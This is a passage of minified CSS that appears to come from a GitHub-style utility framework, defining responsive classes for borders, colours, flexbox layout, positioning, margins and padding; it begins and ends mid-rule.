!important;border-bottom-right-radius:6px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 1280px){.border-xl-top{border-top:1px #e1e4e8 solid !important}.border-xl-right{border-right:1px #e1e4e8 solid !important}.border-xl-bottom{border-bottom:1px #e1e4e8 solid !important}.border-xl-left{border-left:1px #e1e4e8 solid !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:3px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}.circle{border-radius:50% !important}.box-shadow{box-shadow:0 1px 1px rgba(27,31,35,0.1) !important}.box-shadow-medium{box-shadow:0 1px 5px rgba(27,31,35,0.15) !important}.box-shadow-large{box-shadow:0 1px 15px rgba(27,31,35,0.15) !important}.box-shadow-extra-large{box-shadow:0 10px 50px rgba(27,31,35,0.07) !important}.box-shadow-none{box-shadow:none !important}.bg-white{background-color:#fff !important}.bg-blue{background-color:#0366d6 !important}.bg-blue-light{background-color:#f1f8ff !important}.bg-gray-dark{background-color:#24292e !important}.bg-gray{background-color:#f6f8fa !important}.bg-gray-light{background-color:#fafbfc !important}.bg-green{background-color:#28a745 !important}.bg-green-light{background-color:#dcffe4 !important}.bg-red{background-color:#d73a49 !important}.bg-red-light{background-color:#ffdce0 !important}.bg-yellow{background-color:#ffd33d !important}.bg-yellow-light{background-color:#fff5b1 !important}.bg-purple{background-color:#6f42c1 !important}.bg-purple-light{background-color:#f5f0ff !important}.bg-shade-gradient{background-image:linear-gradient(180deg, rgba(27,31,35,0.065), rgba(27,31,35,0)) !important;background-repeat:no-repeat !important;background-size:100% 200px !important}.text-blue{color:#0366d6 !important}.text-red{color:#cb2431 !important}.text-gray-light{color:#6a737d !important}.text-gray{color:#586069 !important}.text-gray-dark{color:#24292e !important}.text-green{color:#28a745 !important}.text-orange{color:#a04100 !important}.text-orange-light{color:#e36209 !important}.text-purple{color:#6f42c1 !important}.text-white{color:#fff !important}.text-inherit{color:inherit !important}.text-pending{color:#b08800 !important}.bg-pending{color:#dbab09 !important}.link-gray{color:#586069 !important}.link-gray:hover{color:#0366d6 !important}.link-gray-dark{color:#24292e !important}.link-gray-dark:hover{color:#0366d6 !important}.link-hover-blue:hover{color:#0366d6 !important}.muted-link{color:#586069 !important}.muted-link:hover{color:#0366d6 !important;text-decoration:none}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:99;background:rgba(27,31,35,0.5)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-auto{flex:1 1 auto !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-item-equal{flex-grow:1;flex-basis:0}@media (min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-auto{flex:1 1 auto !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-auto{flex:1 1 auto !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-auto{flex:1 1 auto !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-auto{flex:1 1 auto !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-item-equal{flex-grow:1;flex-basis:0}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-hidden{overflow:hidden !important}.overflow-scroll{overflow:scroll !important}.overflow-auto{overflow:auto !important}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media (min-width: 544px){.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media (min-width: 768px){.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media (min-width: 1012px){.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media (min-width: 1280px){.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mr-0{margin-right:0 !important}.mb-0{margin-bottom:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mr-1{margin-right:4px !important}.mb-1{margin-bottom:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mr-n1{margin-right:-4px !important}.mb-n1{margin-bottom:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mr-2{margin-right:8px !important}.mb-2{margin-bottom:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mr-n2{margin-right:-8px !important}.mb-n2{margin-bottom:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mr-3{margin-right:16px !important}.mb-3{margin-bottom:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mr-n3{margin-right:-16px !important}.mb-n3{margin-bottom:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mr-4{margin-right:24px !important}.mb-4{margin-bottom:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mr-n4{margin-right:-24px !important}.mb-n4{margin-bottom:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mr-5{margin-right:32px !important}.mb-5{margin-bottom:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mr-n5{margin-right:-32px !important}.mb-n5{margin-bottom:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mr-6{margin-right:40px !important}.mb-6{margin-bottom:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mr-n6{margin-right:-40px !important}.mb-n6{margin-bottom:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media (min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mr-sm-0{margin-right:0 !important}.mb-sm-0{margin-bottom:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mr-sm-1{margin-right:4px !important}.mb-sm-1{margin-bottom:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mr-sm-n1{margin-right:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mr-sm-2{margin-right:8px !important}.mb-sm-2{margin-bottom:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mr-sm-n2{margin-right:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mr-sm-3{margin-right:16px !important}.mb-sm-3{margin-bottom:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mr-sm-n3{margin-right:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mr-sm-4{margin-right:24px !important}.mb-sm-4{margin-bottom:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mr-sm-n4{margin-right:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mr-sm-5{margin-right:32px !important}.mb-sm-5{margin-bottom:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mr-sm-n5{margin-right:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mr-sm-6{margin-right:40px !important}.mb-sm-6{margin-bottom:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mr-sm-n6{margin-right:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0{margin-top:0 !important}.mr-md-0{margin-right:0 !important}.mb-md-0{margin-bottom:0 !important}.ml-md-0{margin-left:0 !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.m-md-1{margin:4px !important}.mt-md-1{margin-top:4px !important}.mr-md-1{margin-right:4px !important}.mb-md-1{margin-bottom:4px !important}.ml-md-1{margin-left:4px !important}.mt-md-n1{margin-top:-4px !important}.mr-md-n1{margin-right:-4px !important}.mb-md-n1{margin-bottom:-4px !important}.ml-md-n1{margin-left:-4px !important}.mx-md-1{margin-right:4px !important;margin-left:4px !important}.my-md-1{margin-top:4px !important;margin-bottom:4px !important}.m-md-2{margin:8px !important}.mt-md-2{margin-top:8px !important}.mr-md-2{margin-right:8px !important}.mb-md-2{margin-bottom:8px !important}.ml-md-2{margin-left:8px !important}.mt-md-n2{margin-top:-8px !important}.mr-md-n2{margin-right:-8px !important}.mb-md-n2{margin-bottom:-8px !important}.ml-md-n2{margin-left:-8px !important}.mx-md-2{margin-right:8px !important;margin-left:8px !important}.my-md-2{margin-top:8px !important;margin-bottom:8px !important}.m-md-3{margin:16px !important}.mt-md-3{margin-top:16px !important}.mr-md-3{margin-right:16px !important}.mb-md-3{margin-bottom:16px !important}.ml-md-3{margin-left:16px !important}.mt-md-n3{margin-top:-16px !important}.mr-md-n3{margin-right:-16px !important}.mb-md-n3{margin-bottom:-16px !important}.ml-md-n3{margin-left:-16px !important}.mx-md-3{margin-right:16px !important;margin-left:16px !important}.my-md-3{margin-top:16px !important;margin-bottom:16px !important}.m-md-4{margin:24px !important}.mt-md-4{margin-top:24px !important}.mr-md-4{margin-right:24px !important}.mb-md-4{margin-bottom:24px !important}.ml-md-4{margin-left:24px !important}.mt-md-n4{margin-top:-24px !important}.mr-md-n4{margin-right:-24px !important}.mb-md-n4{margin-bottom:-24px !important}.ml-md-n4{margin-left:-24px !important}.mx-md-4{margin-right:24px !important;margin-left:24px !important}.my-md-4{margin-top:24px !important;margin-bottom:24px !important}.m-md-5{margin:32px !important}.mt-md-5{margin-top:32px !important}.mr-md-5{margin-right:32px !important}.mb-md-5{margin-bottom:32px !important}.ml-md-5{margin-left:32px !important}.mt-md-n5{margin-top:-32px !important}.mr-md-n5{margin-right:-32px !important}.mb-md-n5{margin-bottom:-32px !important}.ml-md-n5{margin-left:-32px !important}.mx-md-5{margin-right:32px !important;margin-left:32px !important}.my-md-5{margin-top:32px !important;margin-bottom:32px !important}.m-md-6{margin:40px !important}.mt-md-6{margin-top:40px !important}.mr-md-6{margin-right:40px !important}.mb-md-6{margin-bottom:40px !important}.ml-md-6{margin-left:40px !important}.mt-md-n6{margin-top:-40px !important}.mr-md-n6{margin-right:-40px !important}.mb-md-n6{margin-bottom:-40px !important}.ml-md-n6{margin-left:-40px !important}.mx-md-6{margin-right:40px !important;margin-left:40px !important}.my-md-6{margin-top:40px !important;margin-bottom:40px !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}}@media (min-width: 1012px){.m-lg-0{margin:0 !important}.mt-lg-0{margin-top:0 !important}.mr-lg-0{margin-right:0 !important}.mb-lg-0{margin-bottom:0 !important}.ml-lg-0{margin-left:0 !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.m-lg-1{margin:4px !important}.mt-lg-1{margin-top:4px !important}.mr-lg-1{margin-right:4px !important}.mb-lg-1{margin-bottom:4px !important}.ml-lg-1{margin-left:4px !important}.mt-lg-n1{margin-top:-4px !important}.mr-lg-n1{margin-right:-4px !important}.mb-lg-n1{margin-bottom:-4px !important}.ml-lg-n1{margin-left:-4px !important}.mx-lg-1{margin-right:4px !important;margin-left:4px !important}.my-lg-1{margin-top:4px !important;margin-bottom:4px !important}.m-lg-2{margin:8px !important}.mt-lg-2{margin-top:8px !important}.mr-lg-2{margin-right:8px !important}.mb-lg-2{margin-bottom:8px !important}.ml-lg-2{margin-left:8px !important}.mt-lg-n2{margin-top:-8px !important}.mr-lg-n2{margin-right:-8px !important}.mb-lg-n2{margin-bottom:-8px !important}.ml-lg-n2{margin-left:-8px !important}.mx-lg-2{margin-right:8px !important;margin-left:8px !important}.my-lg-2{margin-top:8px !important;margin-bottom:8px !important}.m-lg-3{margin:16px !important}.mt-lg-3{margin-top:16px !important}.mr-lg-3{margin-right:16px !important}.mb-lg-3{margin-bottom:16px !important}.ml-lg-3{margin-left:16px !important}.mt-lg-n3{margin-top:-16px !important}.mr-lg-n3{margin-right:-16px !important}.mb-lg-n3{margin-bottom:-16px !important}.ml-lg-n3{margin-left:-16px !important}.mx-lg-3{margin-right:16px !important;margin-left:16px !important}.my-lg-3{margin-top:16px !important;margin-bottom:16px !important}.m-lg-4{margin:24px !important}.mt-lg-4{margin-top:24px !important}.mr-lg-4{margin-right:24px !important}.mb-lg-4{margin-bottom:24px !important}.ml-lg-4{margin-left:24px !important}.mt-lg-n4{margin-top:-24px !important}.mr-lg-n4{margin-right:-24px !important}.mb-lg-n4{margin-bottom:-24px !important}.ml-lg-n4{margin-left:-24px !important}.mx-lg-4{margin-right:24px !important;margin-left:24px !important}.my-lg-4{margin-top:24px !important;margin-bottom:24px !important}.m-lg-5{margin:32px !important}.mt-lg-5{margin-top:32px !important}.mr-lg-5{margin-right:32px !important}.mb-lg-5{margin-bottom:32px !important}.ml-lg-5{margin-left:32px !important}.mt-lg-n5{margin-top:-32px !important}.mr-lg-n5{margin-right:-32px !important}.mb-lg-n5{margin-bottom:-32px !important}.ml-lg-n5{margin-left:-32px !important}.mx-lg-5{margin-right:32px !important;margin-left:32px !important}.my-lg-5{margin-top:32px !important;margin-bottom:32px !important}.m-lg-6{margin:40px !important}.mt-lg-6{margin-top:40px !important}.mr-lg-6{margin-right:40px !important}.mb-lg-6{margin-bottom:40px !important}.ml-lg-6{margin-left:40px !important}.mt-lg-n6{margin-top:-40px !important}.mr-lg-n6{margin-right:-40px !important}.mb-lg-n6{margin-bottom:-40px !important}.ml-lg-n6{margin-left:-40px !important}.mx-lg-6{margin-right:40px !important;margin-left:40px !important}.my-lg-6{margin-top:40px !important;margin-bottom:40px !important}.mx-lg-auto{margin-right:auto !important;margin-left:auto !important}}@media (min-width: 1280px){.m-xl-0{margin:0 !important}.mt-xl-0{margin-top:0 !important}.mr-xl-0{margin-right:0 !important}.mb-xl-0{margin-bottom:0 !important}.ml-xl-0{margin-left:0 !important}.mx-xl-0{margin-right:0 !important;margin-left:0 !important}.my-xl-0{margin-top:0 !important;margin-bottom:0 !important}.m-xl-1{margin:4px !important}.mt-xl-1{margin-top:4px !important}.mr-xl-1{margin-right:4px !important}.mb-xl-1{margin-bottom:4px !important}.ml-xl-1{margin-left:4px !important}.mt-xl-n1{margin-top:-4px !important}.mr-xl-n1{margin-right:-4px !important}.mb-xl-n1{margin-bottom:-4px !important}.ml-xl-n1{margin-left:-4px !important}.mx-xl-1{margin-right:4px !important;margin-left:4px !important}.my-xl-1{margin-top:4px !important;margin-bottom:4px !important}.m-xl-2{margin:8px !important}.mt-xl-2{margin-top:8px !important}.mr-xl-2{margin-right:8px !important}.mb-xl-2{margin-bottom:8px !important}.ml-xl-2{margin-left:8px !important}.mt-xl-n2{margin-top:-8px !important}.mr-xl-n2{margin-right:-8px !important}.mb-xl-n2{margin-bottom:-8px !important}.ml-xl-n2{margin-left:-8px !important}.mx-xl-2{margin-right:8px !important;margin-left:8px !important}.my-xl-2{margin-top:8px !important;margin-bottom:8px !important}.m-xl-3{margin:16px !important}.mt-xl-3{margin-top:16px !important}.mr-xl-3{margin-right:16px !important}.mb-xl-3{margin-bottom:16px !important}.ml-xl-3{margin-left:16px !important}.mt-xl-n3{margin-top:-16px !important}.mr-xl-n3{margin-right:-16px !important}.mb-xl-n3{margin-bottom:-16px !important}.ml-xl-n3{margin-left:-16px !important}.mx-xl-3{margin-right:16px !important;margin-left:16px !important}.my-xl-3{margin-top:16px !important;margin-bottom:16px !important}.m-xl-4{margin:24px !important}.mt-xl-4{margin-top:24px !important}.mr-xl-4{margin-right:24px !important}.mb-xl-4{margin-bottom:24px !important}.ml-xl-4{margin-left:24px !important}.mt-xl-n4{margin-top:-24px !important}.mr-xl-n4{margin-right:-24px !important}.mb-xl-n4{margin-bottom:-24px !important}.ml-xl-n4{margin-left:-24px !important}.mx-xl-4{margin-right:24px !important;margin-left:24px !important}.my-xl-4{margin-top:24px !important;margin-bottom:24px !important}.m-xl-5{margin:32px !important}.mt-xl-5{margin-top:32px !important}.mr-xl-5{margin-right:32px !important}.mb-xl-5{margin-bottom:32px !important}.ml-xl-5{margin-left:32px !important}.mt-xl-n5{margin-top:-32px !important}.mr-xl-n5{margin-right:-32px !important}.mb-xl-n5{margin-bottom:-32px !important}.ml-xl-n5{margin-left:-32px !important}.mx-xl-5{margin-right:32px !important;margin-left:32px !important}.my-xl-5{margin-top:32px !important;margin-bottom:32px !important}.m-xl-6{margin:40px !important}.mt-xl-6{margin-top:40px !important}.mr-xl-6{margin-right:40px !important}.mb-xl-6{margin-bottom:40px !important}.ml-xl-6{margin-left:40px !important}.mt-xl-n6{margin-top:-40px !important}.mr-xl-n6{margin-right:-40px !important}.mb-xl-n6{margin-bottom:-40px !important}.ml-xl-n6{margin-left:-40px !important}.mx-xl-6{margin-right:40px !important;margin-left:40px !important}.my-xl-6{margin-top:40px !important;margin-bottom:40px !important}.mx-xl-auto{margin-right:auto !important;margin-left:auto !important}}.p-0{padding:0 !important}.pt-0{padding-top:0 !important}.pr-0{padding-right:0 !important}.pb-0{padding-bottom:0 !important}.pl-0{padding-left:0 !important}.px-0{padding-right:0 !important;padding-left:0 !important}.py-0{padding-top:0 !important;padding-bottom:0 !important}.p-1{padding:4px !important}.pt-1{padding-top:4px !important}.pr-1{padding-right:4px !important}.pb-1{padding-bottom:4px !important}.pl-1{padding-left:4px !important}.px-1{padding-right:4px !important;padding-left:4px !important}.py-1{padding-top:4px !important;padding-bottom:4px !important}.p-2{padding:8px !important}.pt-2{padding-top:8px !important}.pr-2{padding-right:8px !important}.pb-2{padding-bottom:8px !important}.pl-2{padding-left:8px !important}.px-2{padding-right:8px !important;padding-left:8px !important}.py-2{padding-top:8px !important;padding-bottom:8px !important}.p-3{padding:16px !important}.pt-3{padding-top:16px !important}.pr-3{padding-right:16px !important}.pb-3{padding-bottom:16px !important}.pl-3{padding-left:16px !important}.px-3{padding-right:16px !important;padding-left:16px !important}.py-3{padding-top:16px !important;padding-bottom:16px !important}.p-4{padding:24px !important}.pt-4{padding-top:24px !important}.pr-4{padding-right:24px !important}.pb-4{padding-bottom:24px !important}.pl-4{padding-left:24px !important}.px-4{padding-right:24px !important;padding-left:24px !important}.py-4{padding-top:24px !important;padding-bottom:24px !important}.p-5{padding:32px !important}.pt-5{padding-top:32px !important}.pr-5{padding-right:32px !important}.pb-5{padding-bottom:32px !important}.pl-5{padding-left:32px !important}.px-5{padding-right:32px !important;padding-left:32px !important}.py-5{padding-top:32px !important;padding-bottom:32px !important}.p-6{padding:40px !important}.pt-6{padding-top:40px !important}.pr-6{padding-right:40px !important}.pb-6{padding-bottom:40px !important}.pl-6{padding-left:40px !important}.px-6{padding-right:40px !important;padding-left:40px 